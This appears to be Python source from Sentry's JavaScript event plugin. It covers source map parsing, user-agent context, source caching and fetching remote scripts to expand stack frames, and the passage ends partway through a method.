from __future__ import absolute_import

import bisect

from collections import namedtuple
from six.moves.urllib.parse import urljoin

from sentry.utils import json


SourceMap = namedtuple('SourceMap', ['dst_line', 'dst_col', 'src', 'src_line', 'src_col', 'name'])
SourceMapIndex = namedtuple('SourceMapIndex', ['states', 'keys', 'sources', 'content'])
IndexedSourceMapIndex = namedtuple('IndexedSourceMapIndex', ['offsets', 'maps'])

# Mapping of base64 letter -> integer value.
B64 = dict(
    (c, i) for i, c in
    enumerate('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')
)


def parse_vlq(segment):
    """
    Parse a string of VLQ-encoded data.

    Returns:
      a list of integers.
    """

    values = []

    cur, shift = 0, 0
    for c in segment:
        val = B64[c]
        # Each character is 6 bits:
        # 5 of value and the high bit is the continuation.
        val, cont = val & 0b11111, val >> 5
        cur += val << shift
        shift += 5

        if not cont:
            # The low bit of the unpacked value is the sign.
            cur, sign = cur >> 1, cur & 1
            if sign:
                cur = -cur
            values.append(cur)
            cur, shift = 0, 0

    if cur or shift:
        raise Exception('leftover cur/shift in vlq decode')

    return values


def parse_sourcemap(smap):
    """
    Given a sourcemap json object, yield SourceMap objects as they are read from it.
    """
    sources = smap['sources']
    sourceRoot = smap.get('sourceRoot')
    names = smap.get('names', [])
    mappings = smap['mappings']
    lines = mappings.split(';')

    if sourceRoot:
        # turn /foo/bar into /foo/bar/ so urljoin doesnt strip the last path
        if not sourceRoot.endswith('/'):
            sourceRoot = sourceRoot + '/'

        sources = [
            urljoin(sourceRoot, src)
            for src in sources
        ]

    dst_col, src_id, src_line, src_col, name_id = 0, 0, 0, 0, 0
    for dst_line, line in enumerate(lines):
        segments = line.split(',')
        dst_col = 0
        for segment in segments:
            if not segment:
                continue
            parse = parse_vlq(segment)
            dst_col += parse[0]

            src = None
            name = None
            if len(parse) > 1:
                src_id += parse[1]
                src = sources[src_id]
                src_line += parse[2]
                src_col += parse[3]

                if len(parse) > 4:
                    name_id += parse[4]
                    name = names[name_id]

            assert dst_line >= 0
            assert dst_col >= 0
            assert src_line >= 0
            assert src_col >= 0

            yield SourceMap(dst_line, dst_col, src, src_line, src_col, name)


def _sourcemap_to_index(smap):
    state_list = []
    key_list = []
    src_list = set()
    content = {}
    sourceRoot = smap.get('sourceRoot')

    # turn /foo/bar into /foo/bar/ so urljoin doesnt strip the last path
    if sourceRoot and not sourceRoot.endswith('/'):
        sourceRoot = sourceRoot + '/'

    if smap.get('sourcesContent'):
        for idx, source in enumerate(smap['sources']):
            # Ensure we handle null files that may be specified outside of
            # sourcesContent
            try:
                value = smap['sourcesContent'][idx]
            except IndexError:
                continue

            if value is None:
                continue

            # Apply the root to the source before shoving into the index
            # so we can look it up correctly later
            source = urljoin(sourceRoot, source)
            content[source] = value.split('\n')

    for state in parse_sourcemap(smap):
        state_list.append(state)
        key_list.append((state.dst_line, state.dst_col))

        # Apparently it's possible to not have a src
        # specified in the vlq segments
        if state.src is not None:
            src_list.add(state.src)

    return SourceMapIndex(state_list, key_list, src_list, content)


def sourcemap_to_index(sourcemap):
    """
    Converts a raw sourcemap string to either a SourceMapIndex (basic source map)
    or IndexedSourceMapIndex (indexed source map w/ "sections")
    """
    smap = json.loads(sourcemap)

    if smap.get('sections'):
        # indexed source map
        offsets = []
        maps = []
        for section in smap.get('sections'):
            offset = section.get('offset')

            offsets.append((offset.get('line'), offset.get('column')))
            maps.append(_sourcemap_to_index(section.get('map')))

        return IndexedSourceMapIndex(offsets, maps)
    else:
        # standard source map
        return _sourcemap_to_index(smap)


def get_inline_content_sources(sourcemap_index, sourcemap_url):
    """
    Returns a list of tuples of (filename, content) for each inline
    content found in the given source map index. Note that `content`
    itself is a list of code lines.
    """
    out = []
    if isinstance(sourcemap_index, IndexedSourceMapIndex):
        for smap in sourcemap_index.maps:
            out += get_inline_content_sources(smap, sourcemap_url)
    else:
        for source in sourcemap_index.sources:
            next_filename = urljoin(sourcemap_url, source)
            if source in sourcemap_index.content:
                out.append((next_filename, sourcemap_index.content[source]))
    return out


def find_source(sourcemap_index, lineno, colno):
    """
    Given a SourceMapIndex and a transformed lineno/colno position,
    return the SourceMap object (which contains original file, line,
    column, and token name)
    """

    # error says "line no 1, column no 56"
    assert lineno > 0, 'line numbers are 1-indexed'

    if isinstance(sourcemap_index, IndexedSourceMapIndex):
        map_index = bisect.bisect_right(sourcemap_index.offsets, (lineno - 1, colno)) - 1
        offset = sourcemap_index.offsets[map_index]
        col_offset = 0 if lineno != offset[0] else offset[1]
        state = find_source(
            sourcemap_index.maps[map_index],
            lineno - offset[0],
            colno - col_offset,
        )
        return SourceMap(
            state.dst_line + offset[0],
            state.dst_col + col_offset,
            state.src,
            state.src_line,
            state.src_col,
            state.name
        )
    else:
        return sourcemap_index.states[bisect.bisect_right(sourcemap_index.keys, (lineno - 1, colno)) - 1]






from __future__ import absolute_import, print_function

from django.conf import settings
from ua_parser.user_agent_parser import Parse

from sentry.models import Project
from sentry.plugins import Plugin2

from .processor import SourceProcessor
from .errormapping import rewrite_exception


def preprocess_event(data):
    if data.get('platform') != 'javascript':
        return

    if settings.SENTRY_SCRAPE_JAVASCRIPT_CONTEXT:
        project = Project.objects.get_from_cache(
            id=data['project'],
        )

        allow_scraping = bool(project.get_option('sentry:scrape_javascript', True))

        processor = SourceProcessor(
            project=project,
            allow_scraping=allow_scraping,
        )
        processor.process(data)

    rewrite_exception(data)

    inject_device_data(data)

    return data


def parse_user_agent(data):
    http = data.get('sentry.interfaces.Http')
    if not http:
        return None

    headers = http.get('headers')
    if not headers:
        return None

    for key, value in headers:
        if key != 'User-Agent':
            continue
        ua = Parse(value)
        if not ua:
            continue
        return ua
    return None


def _get_version(user_agent):
    return '.'.join(value for value in [
        user_agent['major'],
        user_agent['minor'],
        user_agent.get('patch'),
    ] if value) or None


def inject_browser_context(data, user_agent):
    ua = user_agent['user_agent']
    try:
        if ua['family'] == 'Other':
            return
        data['contexts']['browser'] = {
            'name': ua['family'],
            'version': _get_version(ua),
        }
    except KeyError:
        pass


def inject_os_context(data, user_agent):
    ua = user_agent['os']
    try:
        if ua['family'] == 'Other':
            return
        data['contexts']['os'] = {
            'name': ua['family'],
            'version': _get_version(ua),
        }
    except KeyError:
        pass


def inject_device_context(data, user_agent):
    ua = user_agent['device']
    try:
        if ua['family'] == 'Other':
            return
        data['contexts']['device'] = {
            'family': ua['family'],
            'model': ua['model'],
            'brand': ua['brand'],
        }
    except KeyError:
        pass


def inject_device_data(data):
    user_agent = parse_user_agent(data)
    if not user_agent:
        return

    data.setdefault('contexts', {})

    inject_browser_context(data, user_agent)
    inject_os_context(data, user_agent)
    inject_device_context(data, user_agent)


class JavascriptPlugin(Plugin2):
    can_disable = False

    def can_configure_for_project(self, project, **kwargs):
        return False

    def get_event_preprocessors(self, **kwargs):
        return [preprocess_event]






from __future__ import absolute_import, print_function

__all__ = ['SourceCache', 'SourceMapCache']


class SourceCache(object):
    def __init__(self):
        self._cache = {}
        self._errors = {}
        self._aliases = {}

    def __contains__(self, url):
        url = self._get_canonical_url(url)
        return url in self._cache

    def _get_canonical_url(self, url):
        if url in self._aliases:
            url = self._aliases[url]
        return url

    def get(self, url):
        url = self._get_canonical_url(url)
        return self._cache.get(url)

    def get_errors(self, url):
        url = self._get_canonical_url(url)
        return self._errors.get(url, [])

    def alias(self, u1, u2):
        if u1 == u2:
            return

        if u1 in self._cache or u1 not in self._aliases:
            self._aliases[u1] = u1
        else:
            self._aliases[u2] = u1

    def add(self, url, source):
        url = self._get_canonical_url(url)
        self._cache[url] = source

    def add_error(self, url, error):
        url = self._get_canonical_url(url)
        self._errors.setdefault(url, [])
        self._errors[url].append(error)


class SourceMapCache(object):
    def __init__(self):
        self._cache = {}
        self._mapping = {}

    def __contains__(self, sourcemap_url):
        return sourcemap_url in self._cache

    def link(self, url, sourcemap_url):
        self._mapping[url] = sourcemap_url

    def add(self, sourcemap_url, sourcemap_index):
        self._cache[sourcemap_url] = sourcemap_index

    def get(self, sourcemap_url):
        return self._cache.get(sourcemap_url)

    def get_link(self, url):
        sourcemap_url = self._mapping.get(url)
        if sourcemap_url:
            sourcemap = self.get(sourcemap_url)
            return (sourcemap_url, sourcemap)
        return (None, None)






from __future__ import absolute_import, print_function

from sentry.plugins import register

from .plugin import JavascriptPlugin

register(JavascriptPlugin)






from __future__ import absolute_import, print_function

__all__ = ['SourceProcessor']

import logging
import re
import base64
import six
import zlib

from django.conf import settings
from django.core.exceptions import SuspiciousOperation
from django.utils.encoding import force_bytes, force_text
from collections import namedtuple
from os.path import splitext
from requests.exceptions import RequestException
from six.moves.urllib.parse import urlparse, urljoin, urlsplit

# In case SSL is unavailable (light builds) we can't import this here.
try:
    from OpenSSL.SSL import ZeroReturnError
except ImportError:
    class ZeroReturnError(Exception):
        pass

from sentry import http
from sentry.constants import MAX_CULPRIT_LENGTH
from sentry.exceptions import RestrictedIPAddress
from sentry.interfaces.stacktrace import Stacktrace
from sentry.models import EventError, Release, ReleaseFile
from sentry.utils.cache import cache
from sentry.utils.files import compress_file
from sentry.utils.hashlib import md5_text
from sentry.utils.http import is_valid_origin
from sentry.utils.strings import truncatechars

from .cache import SourceCache, SourceMapCache
from .sourcemaps import sourcemap_to_index, find_source, get_inline_content_sources


# number of surrounding lines (on each side) to fetch
LINES_OF_CONTEXT = 5
BASE64_SOURCEMAP_PREAMBLE = 'data:application/json;base64,'
BASE64_PREAMBLE_LENGTH = len(BASE64_SOURCEMAP_PREAMBLE)
UNKNOWN_MODULE = '<unknown module>'
CLEAN_MODULE_RE = re.compile(r"""^
(?:/|  # Leading slashes
(?:
    (?:java)?scripts?|js|build|static|node_modules|bower_components|[_\.~].*?|  # common folder prefixes
    v?(?:\d+\.)*\d+|   # version numbers, v1, 1.0.0
    [a-f0-9]{7,8}|     # short sha
    [a-f0-9]{32}|      # md5
    [a-f0-9]{40}       # sha1
)/)+|
(?:[-\.][a-f0-9]{7,}$)  # Ending in a commitish
""", re.X | re.I)
VERSION_RE = re.compile(r'^[a-f0-9]{32}|[a-f0-9]{40}$', re.I)
# the maximum number of remote resources (i.e. sourc eifles) that should be
# fetched
MAX_RESOURCE_FETCHES = 100
MAX_URL_LENGTH = 150

# TODO(dcramer): we want to change these to be constants so they are easier
# to translate/link again

# UrlResult.body **must** be unicode
UrlResult = namedtuple('UrlResult', ['url', 'headers', 'body'])

logger = logging.getLogger(__name__)


def expose_url(url):
    if url is None:
        return u'<unknown>'
    if url[:5] == 'data:':
        return u'<data url>'
    url = truncatechars(url, MAX_URL_LENGTH)
    if isinstance(url, bytes):
        url = url.decode('utf-8', 'replace')
    return url


class BadSource(Exception):
    error_type = EventError.UNKNOWN_ERROR

    def __init__(self, data=None):
        if data is None:
            data = {}
        data.setdefault('type', self.error_type)
        super(BadSource, self).__init__(data['type'])
        self.data = data


class CannotFetchSource(BadSource):
    error_type = EventError.JS_GENERIC_FETCH_ERROR


class UnparseableSourcemap(BadSource):
    error_type = EventError.JS_INVALID_SOURCEMAP


def trim_line(line, column=0):
    """
    Trims a line down to a goal of 140 characters, with a little
    wiggle room to be sensible and tries to trim around the given
    `column`. So it tries to extract 60 characters before and after
    the provided `column` and yield a better context.
    """
    line = line.strip(u'\n')
    ll = len(line)
    if ll <= 150:
        return line
    if column > ll:
        column = ll
    start = max(column - 60, 0)
    # Round down if it brings us close to the edge
    if start < 5:
        start = 0
    end = min(start + 140, ll)
    # Round up to the end if it's close
    if end > ll - 5:
        end = ll
    # If we are bumped all the way to the end,
    # make sure we still get a full 140 characters in the line
    if end == ll:
        start = max(end - 140, 0)
    line = line[start:end]
    if end < ll:
        # we've snipped from the end
        line += u' {snip}'
    if start > 0:
        # we've snipped from the beginning
        line = u'{snip} ' + line
    return line


def get_source_context(source, lineno, colno, context=LINES_OF_CONTEXT):
    if not source:
        return [], '', []

    # lineno's in JS are 1-indexed
    # just in case. sometimes math is hard
    if lineno > 0:
        lineno -= 1

    lower_bound = max(0, lineno - context)
    upper_bound = min(lineno + 1 + context, len(source))

    try:
        pre_context = [trim_line(x) for x in source[lower_bound:lineno]]
    except IndexError:
        pre_context = []

    try:
        context_line = trim_line(source[lineno], colno)
    except IndexError:
        context_line = ''

    try:
        post_context = [trim_line(x) for x in source[(lineno + 1):upper_bound]]
    except IndexError:
        post_context = []

    return pre_context, context_line, post_context


def discover_sourcemap(result):
    """
    Given a UrlResult object, attempt to discover a sourcemap.
    """
    # When coercing the headers returned by urllib to a dict
    # all keys become lowercase so they're normalized
    sourcemap = result.headers.get('sourcemap', result.headers.get('x-sourcemap'))

    if not sourcemap:
        parsed_body = result.body.split(u'\n')
        # Source maps are only going to exist at either the top or bottom of the document.
        # Technically, there isn't anything indicating *where* it should exist, so we
        # are generous and assume it's somewhere either in the first or last 5 lines.
        # If it's somewhere else in the document, you're probably doing it wrong.
        if len(parsed_body) > 10:
            possibilities = parsed_body[:5] + parsed_body[-5:]
        else:
            possibilities = parsed_body

        # We want to scan each line sequentially, and the last one found wins
        # This behavior is undocumented, but matches what Chrome and Firefox do.
        for line in possibilities:
            if line[:21] in (u'//# sourceMappingURL=', u'//@ sourceMappingURL='):
                # We want everything AFTER the indicator, which is 21 chars long
                sourcemap = line[21:].rstrip()

    if sourcemap:
        # react-native shoves a comment at the end of the
        # sourceMappingURL line.
        # For example:
        #  sourceMappingURL=app.js.map/*ascii:...*/
        # This comment is completely out of spec and no browser
        # would support this, but we need to strip it to make
        # people happy.
        if '/*' in sourcemap and sourcemap[-2:] == '*/':
            index = sourcemap.index('/*')
            # comment definitely shouldn't be the first character,
            # so let's just make sure of that.
            if index == 0:
                raise AssertionError(
                    'react-native comment found at bad location: %d, %r' %
                    (index, sourcemap)
                )
            sourcemap = sourcemap[:index]
        # fix url so its absolute
        sourcemap = urljoin(result.url, sourcemap)

    return sourcemap


def fetch_release_file(filename, release):
    cache_key = 'releasefile:v1:%s:%s' % (
        release.id,
        md5_text(filename).hexdigest(),
    ),

    filename_path = None
    if filename is not None:
        # Reconstruct url without protocol + host
        # e.g. http://example.com/foo?bar => ~/foo?bar
        parsed_url = urlparse(filename)
        filename_path = '~' + parsed_url.path
        if parsed_url.query:
            filename_path += '?' + parsed_url.query

    logger.debug('Checking cache for release artifact %r (release_id=%s)',
                 filename, release.id)
    result = cache.get(cache_key)

    if result is None:
        logger.debug('Checking database for release artifact %r (release_id=%s)',
                     filename, release.id)

        filename_idents = [ReleaseFile.get_ident(filename)]
        if filename_path is not None and filename_path != filename:
            filename_idents.append(ReleaseFile.get_ident(filename_path))

        possible_files = list(ReleaseFile.objects.filter(
            release=release,
            ident__in=filename_idents,
        ).select_related('file'))

        if len(possible_files) == 0:
            logger.debug('Release artifact %r not found in database (release_id=%s)',
                         filename, release.id)
            cache.set(cache_key, -1, 60)
            return None
        elif len(possible_files) == 1:
            releasefile = possible_files[0]
        else:
            # Prioritize releasefile that matches full url (w/ host)
            # over hostless releasefile
            target_ident = filename_idents[0]
            releasefile = next((f for f in possible_files if f.ident == target_ident))

        logger.debug('Found release artifact %r (id=%s, release_id=%s)',
                     filename, releasefile.id, release.id)
        try:
            with releasefile.file.getfile() as fp:
                z_body, body = compress_file(fp)
        except Exception as e:
            logger.exception(six.text_type(e))
            cache.set(cache_key, -1, 3600)
            result = None
        else:
            # Write the compressed version to cache, but return the deflated version
            cache.set(cache_key, (releasefile.file.headers, z_body, 200), 3600)
            result = (releasefile.file.headers, body.decode('utf-8'), 200)
    elif result == -1:
        # We cached an error, so normalize
        # it down to None
        result = None
    else:
        # We got a cache hit, but the body is compressed, so we
        # need to decompress it before handing it off
        body = zlib.decompress(result[1])
        result = (result[0], body.decode('utf-8'), result[2])

    return result


def fetch_file(url, project=None, release=None, allow_scraping=True):
    """
    Pull down a URL, returning a UrlResult object.

    Attempts to fetch from the cache.
    """
    if release:
        result = fetch_release_file(url, release)
    else:
        result = None

    cache_key = 'source:cache:v3:%s' % (
        md5_text(url).hexdigest(),
    )

    if result is None:
        if not allow_scraping or not url.startswith(('http:', 'https:')):
            error = {
                'type': EventError.JS_MISSING_SOURCE,
                'url': expose_url(url),
            }
            raise CannotFetchSource(error)

        logger.debug('Checking cache for url %r', url)
        result = cache.get(cache_key)
        if result is not None:
            # We got a cache hit, but the body is compressed, so we
            # need to decompress it before handing it off
            body = zlib.decompress(result[1])
            result = (result[0], force_text(body), result[2])

    if result is None:
        # lock down domains that are problematic
        domain = urlparse(url).netloc
        domain_key = 'source:blacklist:v2:%s' % (
            md5_text(domain).hexdigest(),
        )
        domain_result = cache.get(domain_key)
        if domain_result:
            domain_result['url'] = url
            raise CannotFetchSource(domain_result)

        headers = {}
        if project and is_valid_origin(url, project=project):
            token = project.get_option('sentry:token')
            if token:
                headers['X-Sentry-Token'] = token

        logger.debug('Fetching %r from the internet', url)

        http_session = http.build_session()
        try:
            response = http_session.get(
                url,
                allow_redirects=True,
                verify=False,
                headers=headers,
                timeout=settings.SENTRY_SOURCE_FETCH_TIMEOUT,
            )
        except Exception as exc:
            logger.debug('Unable to fetch %r', url, exc_info=True)
            if isinstance(exc, RestrictedIPAddress):
                error = {
                    'type': EventError.RESTRICTED_IP,
                    'url': expose_url(url),
                }
            elif isinstance(exc, SuspiciousOperation):
                error = {
                    'type': EventError.SECURITY_VIOLATION,
                    'url': expose_url(url),
                }
            elif isinstance(exc, (RequestException, ZeroReturnError)):
                error = {
                    'type': EventError.JS_GENERIC_FETCH_ERROR,
                    'value': six.text_type(type(exc)),
                    'url': expose_url(url),
                }
            else:
                logger.exception(six.text_type(exc))
                error = {
                    'type': EventError.UNKNOWN_ERROR,
                    'url': expose_url(url),
                }

            # TODO(dcramer): we want to be less aggressive on disabling domains
            cache.set(domain_key, error or '', 300)
            logger.warning('Disabling sources to %s for %ss', domain, 300,
                           exc_info=True)
            raise CannotFetchSource(error)

        # requests' attempts to use chardet internally when no encoding is found
        # and we want to avoid that slow behavior
        if not response.encoding:
            response.encoding = 'utf-8'

        body = response.text
        z_body = zlib.compress(force_bytes(body))
        headers = {k.lower(): v for k, v in response.headers.items()}

        cache.set(cache_key, (headers, z_body, response.status_code), 60)
        result = (headers, body, response.status_code)

    if result[2] != 200:
        logger.debug('HTTP %s when fetching %r', result[2], url,
                     exc_info=True)
        error = {
            'type': EventError.JS_INVALID_HTTP_CODE,
            'value': result[2],
            'url': expose_url(url),
        }
        raise CannotFetchSource(error)

    # For JavaScript files, check if content is something other than JavaScript/JSON (i.e. HTML)
    # NOTE: possible to have JS files that don't actually end w/ ".js", but this should catch 99% of cases
    if url.endswith('.js'):
        # Check if response is HTML by looking if the first non-whitespace character is an open tag ('<').
        # This cannot parse as valid JS/JSON.
        # NOTE: not relying on Content-Type header because apps often don't set this correctly
        body_start = result[1][:20].lstrip()  # Discard leading whitespace (often found before doctype)

        if body_start[:1] == u'<':
            error = {
                'type': EventError.JS_INVALID_CONTENT,
                'url': url,
            }
            raise CannotFetchSource(error)

    # Make sure the file we're getting back is six.text_type, if it's not,
    # it's either some encoding that we don't understand, or it's binary
    # data which we can't process.
    if not isinstance(result[1], six.text_type):
        try:
            result = (result[0], result[1].decode('utf8'), result[2])
        except UnicodeDecodeError:
            error = {
                'type': EventError.JS_INVALID_SOURCE_ENCODING,
                'value': 'utf8',
                'url': expose_url(url),
            }
            raise CannotFetchSource(error)

    return UrlResult(url, result[0], result[1])


def fetch_sourcemap(url, project=None, release=None, allow_scraping=True):
    if is_data_uri(url):
        body = base64.b64decode(url[BASE64_PREAMBLE_LENGTH:])
    else:
        result = fetch_file(url, project=project, release=release,
                            allow_scraping=allow_scraping)
        body = result.body

    try:
        # According to various specs[1][2] a SourceMap may be prefixed to force
        # a Javascript load error.
        # [1] https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit#heading=h.h7yy76c5il9v
        # [2] http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/#toc-xssi
        if body.startswith((u")]}'\n", u")]}\n")):
            body = body.split(u'\n', 1)[1]

        return sourcemap_to_index(body)
    except Exception as exc:
        # This is in debug because the product shows an error already.
        logger.debug(six.text_type(exc), exc_info=True)
        raise UnparseableSourcemap({
            'url': expose_url(url),
        })


def is_data_uri(url):
    return url[:BASE64_PREAMBLE_LENGTH] == BASE64_SOURCEMAP_PREAMBLE


def generate_module(src):
    """
    Converts a url into a made-up module name by doing the following:
     * Extract just the path name ignoring querystrings
     * Trimming off the initial /
     * Trimming off the file extension
     * Removes off useless folder prefixes

    e.g. http://google.com/js/v1.0/foo/bar/baz.js -> foo/bar/baz
    """
    if not src:
        return UNKNOWN_MODULE

    filename, ext = splitext(urlsplit(src).path)
    if ext not in ('.js', '.jsx', '.coffee'):
        return UNKNOWN_MODULE

    if filename.endswith('.min'):
        filename = filename[:-4]

    # TODO(dcramer): replace CLEAN_MODULE_RE with tokenizer completely
    tokens = filename.split('/')
    for idx, token in enumerate(tokens):
        # a SHA
        if VERSION_RE.match(token):
            return '/'.join(tokens[idx + 1:])

    return CLEAN_MODULE_RE.sub('', filename) or UNKNOWN_MODULE


class SourceProcessor(object):
    """
    Attempts to fetch source code for javascript frames.

    Frames must match the following requirements:

    - lineno >= 0
    - colno >= 0
    - abs_path is the HTTP URI to the source
    - context_line is empty

    Mutates the input ``data`` with expanded context if available.
    """
    def __init__(self, project, max_fetches=MAX_RESOURCE_FETCHES,
                 allow_scraping=True):
        self.allow_scraping = allow_scraping
        self.max_fetches = max_fetches
        self.fetch_count = 0
        self.cache = SourceCache()
        self.sourcemaps = SourceMapCache()
        self.project = project

    def get_stacktraces(self, data):
        try:
            stacktraces = [
                e['stacktrace']
                for e in data['sentry.interfaces.Exception']['values']
                if e.get('stacktrace')
            ]
        except KeyError:
            stacktraces = []

        if 'sentry.interfaces.Stacktrace' in data:
            stacktraces.append(data['sentry.interfaces.Stacktrace'])

        return [
            (s, Stacktrace.to_python(s))
            for s in stacktraces
        ]

    def get_valid_frames(self, stacktraces):
        # build list of frames that we can actually grab source for
        frames = []
        for _, stacktrace in stacktraces:
            frames.extend([
                f for f in stacktrace.frames
                if f.lineno is not None
            ])
        return frames

    def get_release(self, data):
        if not data.get('release'):
            return

        return Release.get(
            project=self.project,
            version=data['release'],
        )

    def process(self, data):
        stacktraces = self.get_stacktraces(data)
        if not stacktraces:
            logger.debug('No stacktrace for event %r', data['event_id'])
            return

        # TODO(dcramer): we need this to do more than just sourcemaps
        frames = self.get_valid_frames(stacktraces)
        if not frames:
            logger.debug('Event %r has no frames with enough context to fetch remote source', data['event_id'])
            return

        data.setdefault('errors', [])
        errors = data['errors']

        release = self.get_release(data)
        # all of these methods assume mutation on the original
        # objects rather than re-creation
        self.populate_source_cache(frames, release)
        expand_errors, sourcemap_applied = self.expand_frames(frames, release)
        errors.extend(expand_errors or [])
        self.ensure_module_names(frames)
        self.fix_culprit(data, stacktraces)
        self.update_stacktraces(stacktraces)
        if sourcemap_applied:
            self.add_raw_stacktraces(data, release)
        return data

    def fix_culprit(self, data, stacktraces):
        # This is a bit weird, since the original culprit we get
        # will be wrong, so we want to touch it up after we've processed
        # a stack trace.

        # In this case, we have a list of all stacktraces as a tuple
        # (stacktrace as dict, stacktrace class)
        # So we need to take the [1] index to get the Stacktrace class,
        # then extract the culprit string from that.
        data['culprit'] = truncatechars(
            stacktraces[-1][1].get_culprit_string(),
            MAX_CULPRIT_LENGTH,
        )

    def update_stacktraces(self, stacktraces):
        for raw, interface in stacktraces:
            raw.update(interface.to_json())

    def add_raw_stacktraces(self, data, release):
        try:
            values = data['sentry.interfaces.Exception']['values']
        except KeyError:
            return

        for exc in values:
            if not exc.get('stacktrace'):
                continue

            raw_frames = []
            for frame in exc['stacktrace']['frames']:
                if 'data' not in frame or 'raw' not in frame['data']:
                    continue

                frame = frame['data']['raw']

                if frame['lineno'] is not None:
                    source = self.get_source(frame['abs_path'], release)
                    if source is None:
                        logger.debug('No source found for %s', frame['abs_path'])
                        continue

                    frame['pre_context'], frame['context_line'], frame['post_context'] = get_source_context(
                        source=source, lineno=frame['lineno'], colno=frame['colno'] or 0)

            for frame in exc['stacktrace']['frames']:
                try:
                    # TODO(dcramer): we should refactor this to avoid this
                    # push/pop process
                    raw_frames.append(frame['data'].pop('raw'))
                except KeyError:
                    raw_frames.append(frame.copy())

            exc['raw_stacktrace'] = {'frames': raw_frames}

    def ensure_module_names(self, frames):
        # TODO(dcramer): this doesn't really fit well with generic URLs so we
        # whitelist it to http/https
        for frame in frames:
            if not frame.module and frame.abs_path \
               and frame.abs_path.startswith(('http:', 'https:', 'webpack:')):
                frame.module = generate_module(frame.abs_path)

    def expand_frames(self, frames, release):
        last_state = None
        state = None

        cache = self.cache
        sourcemaps = self.sourcemaps
        all_errors = []
        sourcemap_applied = False

        for frame in frames:
            errors = cache.get_errors(frame.abs_path)
            if errors:
                all_errors.extend(errors)

            # can't fetch source if there's no filename present
            if not frame.abs_path:
                continue

            source = self.get_source(frame.abs_path, release)
            if source is None:
                logger.debug('No source found for %s', frame.abs_path)
                continue

            sourcemap_url, sourcemap_idx = sourcemaps.get_link(frame.abs_path)
            if sourcemap_idx and frame.colno is None:
                all_errors.append({
                    'type': EventError.JS_NO_COLUMN,
                    'url': expose_url(frame.abs_path),
                })
            elif sourcemap_idx:
                last_state = state

                if is_data_uri(sourcemap_url):
                    sourcemap_label = frame.abs_path
                else:
                    sourcemap_label = sourcemap_url

                sourcemap_label = expose_url(sourcemap_label)

                try:
                    state = find_source(sourcemap_idx, frame.lineno, frame.colno)
                except Exception:
                    state = None
                    all_errors.append({
                        'type': EventError.JS_INVALID_SOURCEMAP_LOCATION,
                        'column': frame.colno,
                        'row': frame.lineno,
                        'source': frame.abs_path,
                        'sourcemap': sourcemap_label,
                    })

                # Store original data in annotation
                # HACK(dcramer): we stuff things into raw which gets popped off
                # later when adding the raw_stacktrace attribute.
                raw_frame = frame.to_json()
                frame.data = {
                    'raw': raw_frame,
                    'sourcemap': sourcemap_label,
                }

                sourcemap_applied = True

                if state is not None:
                    abs_path = urljoin(sourcemap_url, state.src)

                    logger.debug('Mapping compressed source %r to mapping in %r', frame.abs_path, abs_path)
                    source = self.get_source(abs_path, release)

                if not source:
                    errors = cache.get_errors(abs_path)
                    if errors:
                        all_errors.extend(errors)
                    else:
                        all_errors.append({
                            'type': EventError.JS_MISSING_SOURCE,
                            'url': expose_url(abs_path),
                        })

                if state is not None:
                    # SourceMap's return zero-indexed lineno's
                    frame.lineno = state.src_line + 1
                    frame.colno = state.src_col
                    # The offending function is always the previous function in the stack
                    # Honestly, no idea what the bottom most frame is, so we're ignoring that atm
                    if last_state:
                        frame.function = last_state.name or frame.function
                    else:
                        frame.function = state.name or frame.function

                    filename = state.src
                    # special case webpack support
                    # abs_path will always be the full path with webpack:/// prefix.
                    # filename will be relative to that
                    if abs_path.startswith('webpack:'):
                        filename = abs_path
                        # webpack seems to use ~ to imply "relative to resolver root"
                        # which is generally seen for third party deps
                        # (i.e. node_modules)
                        if '/~/' in filename:
                            filename = '~/' + abs_path.split('/~/', 1)[-1]
                        else:
                            filename = filename.split('webpack:///', 1)[-1]

                        # As noted above, '~/' means they're coming from node_modules,
                        # so these are not app dependencies
                        if filename.startswith('~/'):
                            frame.in_app = False
                        # And conversely, local dependencies start with './'
                        elif filename.startswith('./'):
                            frame.in_app = True

                        # Update 'raw' copy to have same in_app status
                        raw_frame['in_app'] = frame.in_app

                        # We want to explicitly generate a webpack module name
                        frame.module = generate_module(filename)

                    frame.abs_path = abs_path
                    frame.filename = filename
                    if not frame.module and abs_path.startswith(('http:', 'https:', 'webpack:')):
                        frame.module = generate_module(abs_path)

            elif sourcemap_url:
                frame.data = {
                    'sourcemap': expose_url(sourcemap_url),
                }

            # TODO: theoretically a minified source could point to another mapped, minified source
            frame.pre_context, frame.context_line, frame.post_context = get_source_context(
                source=source, lineno=frame.lineno, colno=frame.colno or 0)

            if not frame.context_line and source:
                all_errors.append({
                    'type': EventError.JS_INVALID_SOURCEMAP_LOCATION,
                    'column': frame.colno,
                    'row': frame.lineno,
                    'source': frame.abs_path,
                })
        return all_errors, sourcemap_applied

    def get_source(self, filename, release):
        if filename not in self.cache:
            self.cache_source(filename, release)
        return self.cache.get(filename)

    def cache_source(self, filename, release):
        sourcemaps = self.sourcemaps
        cache = self.cache

        self.fetch_count += 1

        if self.fetch_count > self.max_fetches:
            cache.add_error(filename, {
                'type': EventError.JS_TOO_MANY_REMOTE_SOURCES,
            })
            return

        # TODO: respect cache-control/max-age headers to some extent
        logger.debug('Fetching remote source %r', filename)
        try:
            result = fetch_file(filename, project=self.project, release=release,
                                allow_scraping=self.allow_scraping)
        except BadSource as exc:
            cache.add_error(filename, exc.data)
            return

        cache.add(filename, result.body.split('\n'))
        cache.alias(result.url, filename)

        sourcemap_url = discover_sourcemap(result)
        if not sourcemap_url:
            return

        logger.debug('Found sourcemap %r for minified script %r', sourcemap_url[:256], result.url)
        sourcemaps.link(filename, sourcemap_url)
        if sourcemap_url in sourcemaps:
            return

        # pull down sourcemap
        try:
            sourcemap_idx = fetch_sourcemap(
                sourcemap_url,
                project=self.project,
                release=release,
                allow_scraping=self.allow_scraping,
            )
        except BadSource as exc:
            cache.add_error(filename, exc.data)
            return

        sourcemaps.add(sourcemap_url, sourcemap_idx)

        # cache any inlined sources
        inline_sources = get_inline_content_sources(sourcemap_idx, sourcemap_url)
        for source in inline_sources:
            self.cache.add(*source)

    def populate_source_cache(self, frames, release):
        """
        Fetch all sources that we know are required (being referenced directly
        in frames).
        """
        pending_file_list = set()
        for f in frames:
            # We can't even attempt to fetch source if abs_path is None
            if f.abs_path is None:
                continue
